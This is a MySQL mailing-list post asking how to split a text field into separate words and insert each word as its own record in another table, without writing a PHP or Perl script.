Hi all, I have a table with a text field (let's call it 'A') - in this field are descriptions of various things. I also have another table with a varchar field (let's call this 'B'). What I need to do is to take the text field for each record in table A and split it into seperate words. I need to insert each word from this field into table B as an individual record. Let me illustrate with an example. I'm trying to transform records like this: "This is a description of a widget." Into seperate records like this: "This" "is" "a" "description" "of" "a" "widget" I've been trying to figure out how I could accomplish this with just MySQL alone (maybe with the aid some shell utilities), without resorting to writing a PHP/Perl script - but I've come up blank. Can anyone offer any ideas (or maybe solutions) for my problem? Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
